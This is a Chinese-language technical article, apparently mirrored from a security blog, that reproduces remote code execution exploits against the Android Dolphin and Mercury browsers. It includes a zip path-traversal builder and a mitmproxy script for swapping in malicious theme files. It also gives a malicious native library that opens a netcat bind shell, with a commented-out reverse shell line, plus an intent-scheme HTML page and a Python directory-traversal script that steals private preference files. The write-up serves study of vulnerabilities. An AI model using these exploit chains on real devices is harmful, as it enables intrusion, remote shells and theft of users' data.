menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 004-mobile chevron_right 033-海豚浏览器与水星浏览器远程代码执行漏洞详解.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    033-海豚浏览器与水星浏览器远程代码执行漏洞详解.md
    12.01 KB / 2021-07-17 00:01:32
        # 海豚浏览器与水星浏览器远程代码执行漏洞详解
    
    0x00 简介
    =======
    
    * * *
    
    最近国外安全研究人员rotlogix连续曝光了安卓版海豚浏览器(dolphin browser)和水星浏览器(mercury browser)的安全漏洞[1,2],尽管这两个浏览器在国内并不流行,但其中的远程攻击手法和一系列漏洞组合的利用颇值得玩味,于是对这两个漏洞进行了复现和学习,分享与大家共同进步。
    
    0x01 海豚浏览器远程代码执行漏洞
    ==================
    
    * * *
    
    该漏洞可以看作前段时间三星自带Swift输入法远程代码漏洞的延伸,不同之处在于通过中间人攻击patch了so文件,在so文件中的JNI_OnLoad函数中添加恶意代码,当so被加载后有机会实现远程代码执行。此次测试的海豚浏览器版本为V11.4.17。
    
    1. 漏洞原理
    -------
    
    海豚浏览器允许用户选择并应用主题来改变浏览器的外观,当用户选择新主题下载时,主题文件会被下载
    
    ```
    GET https://opsen-static.dolphin-browser.com/resources/themestore/Alonso_P.dwp
    
    ```
    
    主题文件实际是一个zip文件,对其重命名后查看内容如下:
    
    ![image](http://drops.javaweb.org/uploads/images/a6045f4a4b9b7c81e0135b26f04d6180f6f6c6fb.jpg)
    
    由于海豚浏览器并未对解压的文件进行验证,且安卓系统zip库的默认行为是允许解压文件到所在目录之外,因此通过中间人攻击,修改HTTP请求返回主题文件zip包中的内容,可以实现在海豚浏览器拥有权限的目录写文件。
    
    注意到我们测试的版本与原文有所不同,下载主题文件的链接是https,但其SSL也没有正确实现,因此依然也能通过中间人攻击成功。
    
    2. 漏洞利用——在私有目录写文件
    -----------------
    
    漏洞利用需要通过中间人攻击,将手机的流量透明代理到运行mitmproxy的服务器上。首先,利用python制作一个修改后的主题文件,即将同目录下名为1的文件添加到主题文件zip包中,且文件名为`../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/this_should_not_exsist`
    
    ```
    import zipfile
    
    zf = zipfile.ZipFile("Alonso_P.dwp", "a")
    zf.write("1", "../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/this_should_not_exsist")
    zf.close()
    
    ```
    
    修改后的主题文件如下
    
    ![image](http://drops.javaweb.org/uploads/images/ab9cf981a0fbef729844331db88bca123d76acd9.jpg)
    
    接下来,编写一段mitmproxy的inline script inject_evilso.py,将下载返回的主题文件替换成我们修改后的主题文件。
    
    ```
    from libmproxy.protocol.http import HTTPResponse
    from netlib.odict import ODictCaseless
    
    def request(context, flow):
        if not flow.request.host =="opsen-static.dolphin-browser.com"  or not flow.request.path.endswith(".dwp"):
            return
    
        # Build response
    
        response = HTTPResponse([1, 1], 200, "OK", ODictCaseless([["Content-Type", "application/zip"]]), "yo!") # Inject theme
        # Inject theme
        try:
            with open("Alonso_P.dwp", "r") as f:
                modified = f.read()
                response.content = modified
                response.headers["Content-Length"] = [len(modified)]
                f.close()
        except IOError as e:
            raise e
    
        # Return response
        #
        flow.reply(response)
    
    ```
    
    使用mitmdump运行脚本
    
    ```
    mitmdump -s inject_evilso.py
    
    ```
    
    在手机上使用海豚浏览器,下载并应用主题。观察到mitmdump的输出
    
    ```
    192.168.8.155 GET https://opsen-static.dolphin-browser.com/resources/themestore/Grassy.dwp
     << 200 OK 210.39kB
    
    ```
    
    此时查看海豚浏览器私有目录,压缩包中放置的恶意文件已经写入成功。
    
    ![image](http://drops.javaweb.org/uploads/images/d12f06a02a763fe1e42f8154d1ecb33ebf185996.jpg)
    
    3. 漏洞利用——patch so实现代码执行
    -----------------------
    
    要将任意文件写升级为代码执行,可以考虑对海豚浏览器二次加载的库进行patch,与Swift输入法漏洞利用过程中patch odex文件所不同,这里选择的是patch上述目录下的libdolphin.so。
    
    首先用ndk编译一个恶意的libdolphin.so
    
    ```
    #include <stdio.h>
    #include <jni.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <android/log.h>
    
    #define LOG "heen"
    #define LOGI(...)  __android_log_print(ANDROID_LOG_INFO,LOG,__VA_ARGS__)
    
    jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved)
    {
        JNIEnv* env = NULL;
        jint result = -1;
        int ret;
    
        if ((*vm)->GetEnv(vm, (void**) &env, JNI_VERSION_1_4) != JNI_OK) {
            return -1;
        }
        /* success -- return valid version number */
        result = JNI_VERSION_1_4;
    
        LOGI("Hello, World");
        //ret = system("nc 192.168.8.163 8088|/system/bin/sh|nc 192.168.8.163 9999");
        ret = system("nc -ll -p 6666 -e /system/bin/sh");
        LOGI("ret value of system is %d",ret);
    
       // sleep(1800);
    
        return result;
    }
    
    ```
    
    然后按照前面的方法将编译的so文件添加到主题文件压缩包中,
    
    ![image](http://drops.javaweb.org/uploads/images/05a346211e56504861b7fc51ae1ee93a8796d2d3.jpg)
    
    手机上重新下载主题文件并应用,这将触发mitmdump脚本替换下载返回的主题文件为添加恶意so的主题文件。此时我们结束海豚浏览器,并重新打开,使其有机会加载我们改写的so。logcat将有如下输出,
    
    ```
    D/dalvikvm(25522): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42687bc0
    D/dalvikvm(25522): Added shared lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42687bc0
    
    ```
    
    而海豚浏览器也并未崩溃,可以正常浏览网页。用nc连接,patch的恶意代码已经生效
    
    ![image](http://drops.javaweb.org/uploads/images/2245318d96cbcf3addd43b3962c80151bb66f98c.jpg)
    
    0x02 水星浏览器远程代码执行漏洞
    ==================
    
    * * *
    
    漏洞首先在于水星浏览器没有正确过滤Intent URI Scheme,这导致恶意网页可以利用Intent Scheme调用私有组件启动水星浏览器实现的web server。而该webserver又对文件名路径校验不严格,导致可通过目录穿越来获取浏览器私有目录下文件或sdcard下的任意文件。测试版本为v3.2.3。
    
    1. Intent Scheme未正确过滤
    ---------------------
    
    在com.ilegendsoft.mercury.ui.widget.webview.g类中有如下代码
    
    ![image](http://drops.javaweb.org/uploads/images/a54b17088e30d3649dcd234034fe33d7595ecb6f.jpg)
    
    intent对象在传入startActivity方法前并没有按如下方式进行过滤
    
    ```
    // forbid launching activities without BROWSABLE category  
    intent.addCategory("android.intent.category.BROWSABLE");  
    // forbid explicit call  
    intent.setComponent(null);  
    // forbid intent with selector intent  
    intent.setSelector(null);  
    
    ```
    
    因此可以通过网页嵌入如下形式的脚本启动任意activity,包括私有activity。
    
    ```
    <script>location.href="intent:#Intent;action=android.intent.action.VIEW;component=包名/组件名";</script>
    
    ```
    
    2. 寻找攻击对象
    ---------
    
    这种情况一般是寻找私有未导出的activity作为攻击对象。经过逆向分析,可发现未导出activity——com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2被启动时,可打开手机与电脑之间的WiFi文件传输功能。
    
    见WFMActivity2的OnResume方法,
    
    ```
     protected void onResume() {
            super.onResume();
            this.mWfmFragment.onServAvailable();
        }
    
    ```
    
    调用其成员变量mWfmFragment对象的onServAvailable方法,位于`com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2.WFMFragment`
    
    ```
    public void onServAvailable() {
            if(this.needResumeServer) {
                this.doStartClick();
    }
    
    ```
    
    调用doStartClick方法
    
    ```
    private void doStartClick() {
            this.ipAddr = this.mCommonUtil.getLocalIpAddress(true);
            if(this.ipAddr == null || !this.isWebServAvailable()) {
                this.mStep2Tv.setText("");
                d.c(this.getString(2131165689));
            }
            else {
                this.updateOnUI(this.ipAddr);
                this.doBindService();
                this.needResumeServer = false;
            }
        }
    
    ```
    
    见关键的doBindService方法,其实现位于WFMFragement的父类 AbsWFMFragment
    
    ```
    protected void doBindService() {
            this.getActivity().bindService(this.webServIntent, this.servConnection, 1);
            this.isBound = true;
        }
    
    ```
    
    再看OnCreate方法
    
    ```
        public void onCreate(Bundle arg4) {
            super.onCreate(arg4);
            this.webServIntent = new Intent(this.getActivity(), WebService.class);
        }
    
    ```
    
    至此,可知WFMActivity2被启动时,同时将启动一个与其绑定的一个WebService,该Service在OnBind方法中打开一个WebServer。
    
    ```
      public IBinder onBind(Intent arg2) {
            this.openWebServer();
            return this.mBinder;
        }
    
    ```
    
    该WebServer注册了一些特定的URI路径,实现了下载dodownload、删除dodelete、上传doupload等命令。
    
    ![image](http://drops.javaweb.org/uploads/images/9a11b7ed768c8c70e78dd23424473be08e41708e.jpg)
    
    3. 攻击私有组件WFMActivity2
    ---------------------
    
    首先编写恶意网页启动WFMActivity2
    
    ```
    <html>
        <head>
            <meta charset="utf-8" />
            <title>Trigger parseUri()</title>
        </head>
        <body>
            <script>
                location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
            </script>
        </body>
    </html>
    
    ```
    
    然后用水星浏览器访问该恶意网页,出现如下界面
    
    ![image](http://drops.javaweb.org/uploads/images/e14c9ff98966d1888c491a2d11fdf30f0009b223.jpg)
    
    此时PC端已经能够访问webserver,并具有对手机中sdcard文件上传、下载和删除功能。
    
    ![image](http://drops.javaweb.org/uploads/images/5b177effbefbbc6fc00575a06d205ba59a879266.jpg)
    
    4. 目录穿越漏洞
    ---------
    
    默认情况下只能下载访问sdcard目录,但进一步的漏洞挖掘发现WFMActivity2打开的WebServer还具有目录穿越漏洞,可以通过dodownload和doupload命令以访问../../[程序私有目录] 的形式下载或上传私有目录的文件。
    
    根据HTTPDownHandler中的处理代码,
    
    ![image](http://drops.javaweb.org/uploads/images/cc8aeb702db29d04876305a151464eb509d78ee5.jpg)
    
    需要正确设置HTTP请求中的Referer才能进入成功的下载处理分支。
    
    ![image](http://drops.javaweb.org/uploads/images/91ea94ed8547316447277d34b0fa80ca5e28f638.jpg)
    
    对程序配置文件私有目录打包下载![image](http://drops.javaweb.org/uploads/images/800f236cd2b655edf2e81822aadbba38046e7aca.jpg)使用doupload命令类似,可以实现上传文件到程序私有目录。
    
    #### 5. 漏洞利用总结
    
    至此,一系列漏洞利用组合可归纳如下:
    
    (1) 通过恶意网页的Intent URI Scheme启动WFMActivity2
    
    (2) 记录使用水星浏览器目标用户的IP地址
    
    (3) 轮询WFMActivity2是否被启动
    
    (4) 利用目录穿越漏洞下载水星浏览器的私有目录文件
    
    附攻击脚本(使用lighttpd)
    
    ```
    import os,re,requests
    
    def poll():
    
        keyword = 'evil.html'
        while True:
            with open("/usr/local/var/log/lighttpd/access.log", 'r') as f:
                print 'Polling...\n'
                for line in f.readlines():
                    if re.search(keyword, line):
                        target = line.split()[0]
                        headers = {'Referer': 'http://%s:8888/'%target}
                        url = 'http://%s:8888/dodownload'%target
                        payload = {'fname': '../../../../data/data/com.ilegendsoft.mercury/shared_prefs/com.ilegendsoft.mercury_preferences.xml'}
                        try:
                            r = requests.get(url, params = payload, headers = headers)
                            print 'Exploiting...\n'
                            print r.status_code, r.content
                            return
                        except Exception as e:
                            continue
                    else:
                        continue
    if __name__ == '__main__':
        poll()
    
    ```
    
    攻击效果
    
    ![image](http://drops.javaweb.org/uploads/images/5c34fceeb8bdcc3417ac5b693d8d68fb9238fc67.jpg)
    
    0x03 参考
    =======
    
    * * *
    
    ```
    [1] http://rotlogix.com/2015/08/22/remote-code-execution-in-dolphin-browser-for-android/
    
    [2] http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/
    ```
    
    links
    file_download